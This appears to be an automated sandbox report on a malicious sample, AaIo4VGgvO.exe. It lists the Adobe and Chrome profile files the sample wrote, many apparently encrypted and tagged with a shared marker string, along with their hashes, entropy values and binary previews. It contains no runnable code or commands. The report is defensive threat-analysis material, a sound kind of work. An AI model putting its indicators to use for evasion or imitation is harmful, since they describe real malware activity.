..yC...ji......I.ZtrK..Z.6\....S"f.{b...p0...40.8PB!..~Z.zq......u'~o#.G.m9.m...Q...!x.Z..T2}.M....~.]..Sn..e.f,5...}.<.y.&.d....K,.g};K...Ko........Q.+.Et.....Q..W.........w.=.A=....H..

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\IconCacheAcro65536.dat

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	243530
Entropy (8bit):	6.818528812799042
Encrypted:	false
SSDEEP:	3072:a8S61FnoM/LSqgI/CjGAF+tQz+//WFTyiriIODbI/Ytdd1kZOolNlnP:arybSqNCBFrz+/EOnt4pnP
MD5:	CCE4FF56CC0D8D59F7B66EB5FF920843
SHA1:	F274066AEBDF169884E148CD7C4C761EEA1E0477
SHA-256:	9CB00119A3600FDDBFD694C4C1F8026F3A706EC0E559DD3DE42A46A6E0556C7D
SHA-512:	6F08CE235626A3723962129663FEC82CD3A42529ACB551FEB87F12C26BFE5A01EE2FFA93BF04E829761D0AB9A7C94A2FED6D243C147369728451477CE6A9C6B5
Malicious:	false
Preview:	Adobe...I.....b.J.D.X.`6..c......b..I.....r..r....bk..4.-. ..t.p{./l.D.\|......(.......1i.u........Y....s^.i....5.-,M.!ELb.......B4..O.[..ir...~....Y.......t..M....[.O.C...-..Q..-....W.....+).(4..L..C.9f.!~.....Du..s4....a...}BCy.P.A....V.mO._.JJ....OtJ..@.....C.. rb.x'..6..A..0.q..t.I.G\|:...2..v...-....Q..}T~.vdA.....y.d.)5t.W.2..=...p..!...SH.....p. ..@\.....G.jW.2.P....78........?...{..uv.GK.F.../......nu.W8....3uW..m...?q.5%2b...\S.^.M............e....` t....y].d.O"...'..2........o...i..j.t...h"...b..i..1`..H....+....../.t.......@.6....~......~....a...Y......q.... .\&.$.8B7t..L.ah.....y....40.%.$....M.d:.vj.\|..=.. .6...Q.@...G.....#.`..BI..b..^...t...(...]AW.\|..[".j.<.4..@.....v..p{o........n.......?._..>.L...!.7.mC.-?..#}XF/...@qH..F...#/..hJ9...\/.._V.*O.....bJ... +.j..vM.%&..9.a..M........+s...t.~;....q..Z...8...='<$../L...`...+..b.q.=..,...7.-.....B.'..lQ...R>...,n.9V.I.5<.4T...I......e5.,..:.[J=.....#.%&.#P..x7(..N.."I>O.ic.p...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	3152
Entropy (8bit):	7.943604223161956
Encrypted:	false
SSDEEP:	48:YBH37PU2dtJo7ZN6esdSblSxyo+u1l2nzsm0smucBSX2YOmFvr2V6Fc5YbkWg2Yi:oH37PFaQdYS3DRducEXGwzY5YIdYX
MD5:	40591FBB7013A02F50E5D761BFD5875F
SHA1:	2266CD5D187F1AF43625CDA8B1E3514B7F51518C
SHA-256:	2235BC1F17673C4E0F6199E6CF376A93ADA7C9ACFEF3FC4B4799113DFF4C294F
SHA-512:	B901BA7E15CEA3995DF38E9F55B2945D31F05AE291EF6733D3F4D549C2578DE82DFF83FB0CB80C576F7B8D91909E708D45A9D8E6160C66065C613905EAC1160D
Malicious:	false
Preview:	{"all.8=[.....bb...1..}{...-.....@\|H.D.R........%l.&.T......k.1q;.....P......Z..r.z=?5.roj..S..}\|.]/F.zEuq.5...M...F1..9.B....{dI....J. ..{..y.;....nB.q.(....A...Y....?..}#.......K..N..ke..t.....N.g....jW..i...Eqmn0./q.c....H~..:..?j.c.^....\|....~.8t.D.F........u.L..i,K...;....qy..j.d..Uf#.L.v".k..%M.]7M..W.....r..(<.6...5!.Og.....v_w.BDrEC:...8... .j.....ew..'.q.~L5.Y.z4a.F>.Z..Q.m...:t.C=....$.j$....N..W...i.#..c..W.....c.q.....&..i[..Y ....O?6....._/s.Oy..x{...w..4=S..M..C5`..n....v...?.........QQ...y.Bo.k...}.*.>.K.t".Q..g.oG\|.J.....w\|.#.+.....US....3....)..........q.&..x...3...<5..d......j.Ge..r.... ....m..6..&.s...>.bR.Wq2...e.(.= m..f.)......H..q...Ql...>OE....&..'Qv.....6..s.5$..V..;..t>>..D>."..z)O........&....7..N......pb+..!I.$...!...Z..3.ns. ..._.%......8n..a.AA..z..,.........(...~.#U.2...G..C...y.\|J..r..W...}..b..iZw. .3.\|.Z<...)..@J !p..0...S.1...@.c.a.)........T.o.)K..`.'....o.....0.4.!....z<m.....s..{sV....<..5wiI

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	67060
Entropy (8bit):	7.997325150149192
Encrypted:	true
SSDEEP:	1536:YPhBTRFeiaBHYNb5MQfRpyuPIG5IfqEUnWbC14:Y59RpaJg5ENsIfLEP4
MD5:	484048E336C858D81B82887A53265320
SHA1:	ABCE4B56CA12BC8B135C479B3CCC62FBC7570A5E
SHA-256:	3CD503A7E458901CE1870906A687D1069CE89C255AA108BA7A41D337D3D7AB65
SHA-512:	2121F500E75E9E0E267F7E4770D472360F5DB0031BE63B6DABD7D0CD5FB08C4D6137BBCD7E19D030E7950FA7B564024CBC942DCE3263D6550DB81D2F9DF3738D
Malicious:	true
Preview:	4.397?..p.?.".}..k....?...\.d.....7D.N..%...........cG...]j.?.aO......... n>iR...<...E...%.-i.i...L.\|.P....,....F....5[....ap.i.z.V.SB<..}\.I..(......Mf.o.).9.Q..^gv..:1X$.J..2.....gV..J....}...,.......<..J"W@..#_....].'.C..Iz...].B..C]..?......t.....L4.x...LN....?.K.X....-...g..z..M.W.....".+..i6.I9..".p..F1...$.9..T....M3./.....md.m.'5.....H..O....t.q...:.;._C#.(..L...x$./....k..\...)U.9TN.X.1.33..7!..dzk....q.K.fasY.,..D....nt.A+..,]=.`z.h..&....k.E.t...A...}t.)7..@;.t.r.@.`.h......N........t..Ha.3..Dn.t}....P...../e2y.O.$..S........".Z ...V...l..5.3}.....3.<.9........R.I..^......d..m..:Z....x...x..o!..;/.4..K...MG...T..n.4......m..S+.H._....).A....i....A.2.x.&.....Rf;sa...@,..GR.#.i.@R....t....1......f....H...u...#../^ 3....k....[.c..b.w.3...-F...i....@A...I....Y..Z.,..Nx.o>.........Fr.a.X..=8....tW...@<..^9.mx>.'9.J... n./zf$...sh.Q..ZC.a...pn7&.k..Vs>P..q;Ipno&.;...."+.O.i..:...._:_3r...n...%..@.t. ....z@.P^...p.Gb...C.z

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.544932876231977
Encrypted:	false
SSDEEP:	12:qJ3nNmzhfQMXlloZ0EvP/yj+jrK6NNfXJ0Wa6L3WZ1+cii9a:6NeYM2086j+vNlXy16L3WSbD
MD5:	D5CA3E0045C2D841415A88F14FF2B881
SHA1:	6DB098E4C1596185F20F52EDB667B9F4D3F52A27
SHA-256:	D3F666574C522D3A06D404C4E3896F495F4031176A0398F74FF27B7826C5466E
SHA-512:	D941608CEE42962B84763A4E849673FF76F26D923D9CF3FC92B9362A9F030E723B34410E633A33DA67A0D72F1AC5FA5A13FDD1E8747F09D39EDE278D612AE69E
Malicious:	false
Preview:	.f.5.....v..3.\|d.....Am..o.3@......R#."...O.o<.!.A;.Q.V.u........1ah0..f....\|....~7x.-G...I......W...4.F.n<N...{j....:K...........\|...........$F.....BJ...L=.(e4t.kTo:..B....0B...:m....K....>[K..b..q...6...;Wt-S.k...q..3..BD..y........a.{...v}....sK@g....H_.u(..l....\.(...7.... ."..nN..i...hO..q<V.[.x....bN0.#...{4H.\|.......h...n07lGm.+.....).1.3.....H.5..Qo..srV.b.<..T.f..ku.x5/SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	486
Entropy (8bit):	7.505453265105037
Encrypted:	false
SSDEEP:	12:qLX0svcoqLzGZ648hqRMe519ogZKw4mxip5hide71+cii9a:ta0WZ646Le5Eg/4mxip5h/IbD
MD5:	A00A29C97431778075E6D6A2F31C87F8
SHA1:	D0F6E564492D1481D7C36690F4D66EADED408DB6
SHA-256:	89BB0C9B98DB5E44E861963471CDB9A6FBF169EC0394EE21EA2C743C7FBD2D27
SHA-512:	D40A7E54A2CDD065013F4D0F423AFB1F5D31F348B169242718A4067F226C7E4AA26B7BDC6DA1AC57FEDF6099662C1E153AB66366F4725FDB2A0A2CC26953DCD4
Malicious:	false
Preview:	.f.5...2+..oR.V...m.!#.,3...SjP.1X...<`1..Y..>#f_..a.::.k6:i:..WA..!\|.}A.].2...1\|.....p,.....EH..8.......M ...GzZ..cn.r..@d.5...s..p.,..'.Q\..<....1%HgnBb.Nx.Y=$8.C...._.U;......0W.....4w.....?7.OQLw.Y.c.f..B..%...-7}b.....=..H...?.;_(....#'..5Q..^.u[.&......j$6.H!..j.......C.C..VL..=y"...:...(..m.h.y.wr.0...i0..u...u@0`..,...>.../.*...u9G..!......UG.$.$..=G-.1.3..:..h$......f-.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.707395530816645
Encrypted:	false
SSDEEP:	12:qZJ5WU7HAnp1qguPXk8HutPEnJQJ7kJSnsLopOA7u2UQjyzCs9aHI1+cii9a:A+EHYXupO1EnJQJIQsMpZu29bD
MD5:	93D0E0A07A4F7FC88450A8456BADC304
SHA1:	109F4FF0CC6B829CBD823B71A4B2454FBA20AD44
SHA-256:	6378CDC03D54A1461777C1A3BCC7BC9E9354DE49C1556C375350BBF9136A40AF
SHA-512:	0FE4293A7D922ED0028A501B551E098107873C63AD57883E6105A9609AA6B21561A5E30BBC7E169C84B0A7CE8B7B04C3A58937263D2AD361CCFE484E36947F7E
Malicious:	false
Preview:	.f.5.t.[...l\|]..n...=..Y.[C ..5$t.L..Ak.2[.k\|.V.=S6\o....4..V..<D.PU....40...9..J...t\GX.3.`...p...;o=...;c...S..,..7'i._K\|g.............i....\|.Q.`2.LA.B...z.....:...{4...G..s......yD..R.A{;.;,UQW...d...HQ.2s.C".`...z.1.]c!^...S...J.u)_V..W.P3.Q.....j[^.Md.......L....6...1n>1ia..S.....z=g...rM.5qC0.....(.{.;.}m%7.5..../y.O...^5$.m..%..L>....=."...D......;v...P0t.C"s.((......^TE....3.3....B-{..;y3.\.8.:..9.R..4.=Y.a.....R..*+..T.W.gad...............#....U.._A.#.$.@.k..n..xf.;....M.PO..2.}<.Bb..p.^...uO.....{..x..4...S.'Jb.;./+...7H ............dY.".."i..J.<>..e.KO.....V..8.up...D}.....(.U.)[7..k.:_\|?.;......D.xd!Y....6p:\.l.....k..c.m4....W1}.'}.F.&.T[....;'.N.!}.?..6E.IRSLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension State\LOG.old

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.663441062969625
Encrypted:	false
SSDEEP:	12:kfdahuKaJy2YDO4Mm4oq4NQIzeHZA+XOU9ZsICJ9Zw6qLpIGGO8manM1+cii9a:OahFa82YKPFEQee/9z6DJ7maHbD
MD5:	FB98EB0D25843DE0F06864455E66C14F
SHA1:	63AC87FEB5351189249C17F0389F07BE3512AF3E
SHA-256:	382D367456A00BF94301F6FF060A31A90E4DDADEA158499250140DABBD3F1CF2
SHA-512:	9139CF68BB2ECE95C17A737BE834BE2C021ACC0D525A38D6FE5F8FE94A17A5A952B546F970F20EDA6A32C4B3B57A52198870AA0F120EFAEADF8C504E37AF5D28
Malicious:	false
Preview:	2023/.-.A}..{5.x..?#.q.m...'...%.....y.[..@...If.-;t..)44.:..K.s.w.. E.&K.q..G.%7[X6.c.F..$W...mC/...+Q.J?...wN.4p.4@.....X(....Sv....7_.d..h..D..{.r..:...P..^H}!..z....`-.~..JZ...E..dK%..y..M.8l.oC.U..V3.4cr..T<..5..EPF.c.D.dd.4SW_.RNO......\.<.i.].?.B..^!;h"..y..Gj1}.......H.d.........`...&.....%..u.p8......./[....Z.dQ.GBm:...\...B.RY..t.^s5...b...'oBw.[..\|.).,..P.Bv..,....=-Dr....)D25.o...h..>.a.......g.7......g.....k...9.......\|.kq..$.h.....'$.n....0%2..8..F...!..K.&.c..9(..MF...1.S7.0.M.0.[c.h....z....I...l....N.......v<...\...`sPS.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	2713
Entropy (8bit):	7.926701377925219
Encrypted:	false
SSDEEP:	48:t02ilDIVxn7zqJRD5q+19KrHAUupvKTLB8Pln/U7ZuMtdnD:6HJOx7GJRD5iLAUuBw0mZuMD
MD5:	6926750F5A8F9CD3BE79DD47D64672B8
SHA1:	3C280CEE0B9654483E87A078C10C2F972C147CDC
SHA-256:	B73359B4C4859EF6AB2294FE67787B1EB9B2B88EC53545C1514B7D5A8938AC2A
SHA-512:	5A5E0D30D211D502D1EEDCFD51D7EC916016F3E485FA8A5AFE9498CD085FEF75F05AFE89B15EE69A2404BA9A89DB3BDBB6D694BF5FDC9B5944339E9B7168301F
Malicious:	false
Preview:	...#smV`....d.......5o..w3...s......w.....g\|r...&{/....<..v.._..\|.p..Bt...".._u..lx...0k"...$....\|.i`@...[......]..@GV..rb...#...@.....n.7UYN~..1.."....q.e.p4Q$.<.>..pQhL.._!/...Q..>..O.........'....\UX..).X(...&..s..)....-.b,..B....U.c.g..'6:n..1d..\`W.A/.^.:..e.....o........T.\.......(..a..C.G.KV.j$..{n....?^tY\...N..v...L.zxr......;x \8C.kn./."I.;.N.{..K.b.e.....DU...R...>.Ng.Ig...c?..wEN..@.]...T#:......g..;.......G.?.._.7.V....r..(...R`.i...!\..:c..C...[=p.u.d.!......X:.I<.,:.Q>...0.........u.....v.p.P:.RJG..0=kx......Z>............F"R?>.-^p.R..66....\8C.g...$..j...V5.'X...8!.[fL.L.....w.....^R.l.WL.,.....LtdCDE....U......#x.lP.#.Fe,WP......mPOA..p.MD..6...0y...p..T...A.h4}R..q.w....B.,.c7...L.in)'.........f.ZP}V.....u.B.%...O.=..R...m........y..SV....g.\|.Mo+..Qqpd....`..;.O..tq......Z..).Z....N.K"is.....0........~.j~.@\m...$..[....I0.s...%.?.V.p.Yt...qah.\|........u...Q<>...uw.jG9=..$..u.).'W.cx..-.Y.%hW...?...d.4gDe..Jh.....U.t.e..

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Session Storage\LOG.old

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.639239964167025
Encrypted:	false
SSDEEP:	12:k2XG0MH8MDpFB/2Wp10AoDCrUnHK8gzCkbNWop57iSb9QOdAqPvf1+cii9a:vGJ88t/30A9gA2boqSb9QOdAqXsbD
MD5:	0A0D26958AA56937825B9407F1E6D9A6
SHA1:	D3D63FB181C849E4FDE1C669C6318293DA20046A
SHA-256:	67AB58BC32F28B3319533ECEB962D233FEDE61E1BFDEEAC28C45878D043ED03A
SHA-512:	63E77893AD088D9DA61569923E3A94F991831E7B0CA2AA67104B02F2DF069A9E9EA23A31496823D82A7236270FCAA730F094FA7CE44A0EAE2C891BEF6E929043
Malicious:	false
Preview:	2023/.2...........Y.7..\|..._..W.....$.(.b.D(kJ..-..s4O.Q..]~.....b...(%Y....?....Tqq.FF._.....q...;..s$n..8.#...Lsny...d..........P.c....@....&..)..g.....@p)....&Z.4.... .Z...m..#Gf.9!.'.5wf.B.....B.N....?...>.2...~.whP....f...M...SJ.......e.G..&^.....0!...T.....G..18....=W..N...J.lI..#UK.N..fYob!..Q...)R_6..i...5:g.k.Et............A..}"...6.4@.>...4<...j~NFE....j....4..SIe[...Pw.G...l..).?[&.b...N.\|.qQ.5H.....&..mc.o.?O\|e(...#b........(.......xO..9...+...<...R..........DB..)....1..q"..o.x@v.P*..j..3....5...^..P.}Z.c....W..../...n..S..".Z.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	446
Entropy (8bit):	7.515572148099527
Encrypted:	false
SSDEEP:	12:EvaEN606Fyzahxp75T7AImNCQ818vf1+cii9a:UaEb6tHr3Q8QsbD
MD5:	D29C81E782B9ABA1A61752C22A54D58E
SHA1:	F3A3A282EBFD61EEBD9088ABFCB92E3A01847578
SHA-256:	85AE635A416873BA1607BAF2E3EF403C4385DE81D4E4ECB866541EB82E658700
SHA-512:	D211E2CD6027E40A1B96F2C672FBE9630DA79237BD9578BFE0847287C17FDAB06EAF8F1FCAD0093A661CA5EA1811CC7E8F62DA01B62342919D21ACC12FEE3973
Malicious:	false
Preview:	.On.!#.2).....t...?....6nC.....2.... .dg.}>...~s.YR...\.C&(m..u....E.J.1....9j..8...<.f<..".V.....f....."...!.>>.^,.....R...V..x.......v(....}..2..N..b.a..#....,k..g...s..n.T..#T.!.cc.]....u...:6......z.[.\.>..;.]R-x9y.l.r.v.Rj.2....#_T........E..F2....t..V...w........g.^...v.......p.XW...D....3...c)......S.3..:e..k0G!=4...q.\|u........6..g)..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Site Characteristics Database\LOG.old

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	682
Entropy (8bit):	7.645121571483088
Encrypted:	false
SSDEEP:	12:kHfkVMyGRC2+x2pGWqb4koEDYxfmIzg/GN8slHFTWkqaef1+cii9a:+kVzIC2BGF4koEDYxFBFlHFPHesbD
MD5:	F4E73C4EB7313855A485916A2996DC05
SHA1:	035E0ED1984DFD961BCDFD84222C7AEA137A1CA8
SHA-256:	E0661241CFC6894214E5ED18691B37C3DC084B7011C199C298CDBE94F2F7E09D
SHA-512:	49B0EF713C1AD5AD3A7CB00A1693D835044B2A2BE7CCCCD144E7D4C4DA3B149DF4FBC28DEFD55E6C83AC5345E239603FBCE9CD73406C9903CA1DC0EBCADFFE62
Malicious:	false
Preview:	2023/.c.pt.......q....r.6....6.,>..'....@..<....+!...4^'q.)Vg.1&..7.g..\.<..$...u~4.......C.t.Z.-..`.@.@..KrX.B..). ....B.o..w-...g..O...8..a..#...$....>...8.}b..P.{?<".\|....t..n..w>...g.~yp4.Lu5.. .....X[J<y<e.H..(..jB.;l`.......\T.g..K...C3..bG3c4..{Ps...g.;.4...vCi.}.A..Q..d.!....X..Y..3".L.....GN.+_.....J)...S\..ci...+.ZXpp..../.^.:...Tl.oO.5dJ.... 6...*...B......K..yq.M.X_........<...X.. ..&=f........c"...GW...a'"".V.)..........HS.H.....J/2..M m.g........Y.{..6K......>Ja+.g^.......dx.T9B.....Y4.VK%:...S!....9.n....]../IEAL.....%;Q1.r..>.../.../.......k.....{.SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\databases\Databases.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	29006
Entropy (8bit):	7.993339508264763
Encrypted:	true
SSDEEP:	768:5h+W5D8I1lpRoB2akfsLAWNRATxecDxMJie:D+G1lfsJYsLBNR6TDi0e
MD5:	BE366D83EA2A2E4A15CBFD2DEF1D06A5
SHA1:	715608A0D8A895EB53CAFA0CAAA7E785D3FD252D
SHA-256:	097D544DA528DF041470FD6990D5C1D4BE26C704FCA1F9E8FA0B5724F3C324B5
SHA-512:	5759B7FDEB8F833EF8F0ADA77CAB72EFC019A1692B71ACEA91FE3AD92D04FD9727D3B7271946FA27F54C4459658D27626F1290215F3DB38E49C8DA51DE434006
Malicious:	true
Preview:	SQLit.I...V!..ed.....(<..:..8.S\..K.o.........V...............?...M...U.Z.BE...<.g.D7$n.C.mMJ\v.'S...Q..u.Rf=.......Jy..7....p.K\|.Mz.....Q....?.6......\|'.......X}.@...-.sM..........b.b..)V...T..(..."<..K......n.`..4D+..eb...a.....C....M.k:.d.*..t]s.Hn._..$.;..B...-=z..33...~.k.....U..o....u.k3o=s.3.z.F.4.Kw..6w.`.\.g.N<...Y.Y.M..k,v.....E.%P.=s\|].Q.=...?.`...4Yg&.f.O...)...}YQ2P%C4......_.).c^pjG....Z.8}.1.i.u...\.....S..c...-.f..qE.1....D.bhy.Z.5.....&.....g..f..+6.+I...5.n.3.{..'./.?.A....M..3.l.;>u`...._.3.....$..EugD..^D...o....{.{g...^...(.5.....=H....h..#.&[..bG9e..........Z<r.....G'...g.u0ZP..W....i.tq.n......H..t...]..q.A.-C.y.....K.b...bA.....I....~.V.a.:$^O.$D....d..4.&+..TL."-..F`............Z...<C.H.;.....[.....Z.%ww..10x.....I........d!..HA.F.l.....J....D.p..>r1:.g.....~#..3.72..Q...b.-...VQ..G..#-z$...........vis...U....n..I....W..M_.c<.W..T..A(.F....P..R...$.h..>V....5K...-,./~...W<..).....s.KM7GZ2.\|.bo......&..G.....v

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	77068
Entropy (8bit):	7.997900930231422
Encrypted:	true
SSDEEP:	1536:ZFU7vfBX61xrW8y4bqXLk/d0X3SpM0IdgZ7GlzRtKCz0ii4bh:ZFU7hOKEd0XEtdez6CzxRbh
MD5:	DD59E3A5DD2A29312FEF0BEE55A710A2
SHA1:	425CF194220879248576713EB9DF743C20D563D3
SHA-256:	6D25F58D746B46B0266A1778154E99BACE70B56E646DF69540B74795C10F3A53
SHA-512:	E926AC87E6BDAEB7238CB6E919DC7B4F132FB4F197357A6B9A88EE83353F76C961ECD6BD2E301BDF07E42C3887B81B266B7F545E3FDDAE8253F24D27D2754A70
Malicious:	true
Preview:	A..r.C..Od.$..a..hs4.,=...H..r.o.}...Ze&&.Qo..%..42......%.A...c~...W.pk........+.U.cB.bi...;...JD..!..*o@9.?.+..>....Q...g...f....#.#..c...{TH,j f>.E..a1...cmSLf.Gc.n..!.......S.5.....q..I..vV`.c..y.. .n..K.....OZ....7.R`..-.VcJ.(.GH....X...P...9.6..5...!!....a%......;m.4.......K..'z3:Y...'.aR.Y.{.....$..A.....Y#...up..r:/W....B.P.......h<..o...d~.bQ.....(..+(......8...]...H...0N..ce#........cJX..o[...8>..P..]..x<..1.K.9.5%>.c..H.%(.4o....{..3..U...i_=.V?#.7l...\|.7...w.?#9...}.z:.tv3..M...!..0.2....YQ-.\....k.`%...<q...W.W.......S.a..%....[e?...C.O.v..+q...q.....g...o.dy. XZJ....&.oI..sYt.......vA.l".<...^....1.87.._1..}.....A...c=.x..........h.%..l.....~B(...]..a$..........QO..........Tv)...].eI.6....+...2.oW.t..l..t.^......3.-,........[..=.bG..w.0......YeT.pI..S.VNm@)..yv.K..$..(7......^..R........\w..P... ..2..yz.].6.62...^.#.p.Z0)...o....A......G...........+....A\|...I.?.n.G.Lj...M..w...d.J...U........p.$...m.d+.A........g}_.......p

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\shared_proto_db\LOG.old

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	654
Entropy (8bit):	7.665390772694803
Encrypted:	false
SSDEEP:	12:kqGhB3mRDZdJNaWUXTVRSAsdUsNf+yqB6tHC1GrVH1+cii9a:IxkDZdja1YjdUsVqmi1lbD
MD5:	AA71A7EDCBE4CDE7A92A007C9AFD5F73
SHA1:	766162461F302F3D44E3950EB883893FACDDB19C
SHA-256:	88DB50E3B3B94243E815E15F1D5491DEB9FF79250BD06297C33BCB94CD9AA82C
SHA-512:	FC219F6DB6B83F48EADC0457FB9EB3BA014440A0150FB8576EF29746E1BCDEA6DDE926D01BB8C15610BC28EE5C4E86A5DAE7EBB9567F51F8148F278E342A0805
Malicious:	false
Preview:	2023/.7......#.....+;.WP.$..YZU...I.Zl.m..X@3.="y8h.....?+..-.>a^.R......R/.2...e.....-{....z.E:.W.F+.C.,.@]]H.i...r.%.....t7...2eL...:a..W.&/...0!.4.n.M......N..I#.5dS..3.,u.....K..RU.4......7......ZpJ.....;r..HW...!^.$1............X.s...%...2K.*0>ggA<..D.;^.j.....W9tv...............#.."a..I~.....:e...q._hT...!M...S...3..z.l8..'/D.......B={.......P$...>....CZ(2...T.W.He..@....o...Tb...'2...I.Te...!L.v...........5...lY.."w..'.....=.'..em..,......5....M....C.o.. .M...c...2.f..t.^1..(?.:f49....2./...s.'....`0.W..x....`.q...R..\|.53M..y.<.T..U..SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Google\Chrome\User Data\first_party_sets.db

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	49486
Entropy (8bit):	7.996533235882453
Encrypted:	true
SSDEEP:	1536:pQ6lmhA/yPhU+O/p3zhCEO75b2n1WIoZu0qH:prpysCEOhmrCub
MD5:	93E74589FA656079D49B75CDE65A6A37
SHA1:	358C8BFE71FB36F6F2CCE4273B47F5DC001DD008
SHA-256:	211CC1BABA63E8040435DB5917C97E824652B4F143C5EF092F5777DD8C59787A
SHA-512:	B5CCC8301AD0511AF8218BA20F7A6B0C535295278D3B132F6E92F5782DD0DC3403E83335E604FD8CF05F282809A3DE075AE97981394687AEE93BEC7646A534EF
Malicious:	true
Preview:	SQLit!. .?$... .Uq...M..p%.S.J.....c=.^.....j._:m{g.K...2.......nV.../.w.....L.V......X.c..{ b2`qf......>..=:....^?.Y.m+(.P.(..f?o.o.L[#.G...h...=B.....7fPtd1e...>..U..j....P.....7.c1..;....i.YU..`./.o..L..9.'....~?...B....S.iw'...O].K...B7-.C;.....Tt;.2s.......P(K...On.!.....1.MF....V!]E......&....V...Y.9...~.p.3.@b}E`.w..-W.`...[8T2......N8....uf.5..A../....=$.!@.sI.r2...1..Z.H.y.}...G..c..."....f..U...n=.......KJ....+R.......ul7A#....R.7.3...^x..AM...kY...b..$.........Sb..B.yWVp..o...c.T..K/.cfQ..M.4.........1.8NX8.a..)A}.mC=..67e(.u<....wem..}.oI.;....E.....FO........t.....7p...E.$n...?..pI.Sv...Y..Ag.o.2$...d.......KY$.O..=L.....MNQ..f\|(.\|........ACh".y...}d..:O....4....._......`@..g.....o.C.Tc.P\.0\|.(........`../.5.Y.........kj..&6..p..K.Z.......>;.+..\|. .F$h..>..._i.....%k!.T.n.)....Bp...PV......@H!..'.%...:..,<........YFj.-..]...g...A.........\.S...\o......fF......XZ......i,.s.../\|;n/..L<j...^...H1.).a.#Td#..l..hY...U[....m.h...{}

C:\Users\user\AppData\Local\Microsoft\CLR_v2.0_32\UsageLogs\unarchiver.exe.log

Download File

Process:	C:\Users\user\Desktop\AaIo4VGgvO.exe
File Type:	data
Category:	dropped
Size (bytes):	354
Entropy (8bit):	7.242771017909748
Encrypted:	false
SSDEEP:	6:QBsikulAC6WC91uyv4DG5UCQTsXFCnVkx0lU7BIh6Ep1couHWyc3cii96Z:QBVlUEupMPVTliBIhFpmdH1+cii9a
MD5:	63ED02CB17AB803E325A90A98A1B4294
SHA1:	66E5EC24396816789039C58ED50A89F7A68ABFE4
SHA-256:	477A7B1BA8839BAEF6F769222DD66FCB6017356DDAA5E10280466ABB26CE6F08
SHA-512:	C594B8FB73E69D292E39481069D076E485C00E28DD904FA0BDB8E1D7D56D9BF2964CA58601C3B6F8AC548E3D1D0DAF83C5852CFBC0EC0F91AABE08DA87DA7430
Malicious:	false
Preview:	1,"fu.lt.u.. O!...[%Dw..9..i..@Y..6..0.c>X..(l.D.8.a......m.1R...$B...)..x.g..[.ryU!.H_.UMK.m..H.m.(.^.c=.I.;b..5zJ5.....w..k.s.M.[.Z.... 7....2.]{,......[.MH..BA..!#...p5Sm....[..k.c.....>...i.I...pu^...#..8_.XC..Mg.^BEk....S...b...].c...l>Q.$..{..cs<.j..eR@....h'.....<SLibyJ8nZP43K8X6Ycor9IxvOlsKHVTLIpW2nQ4P{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

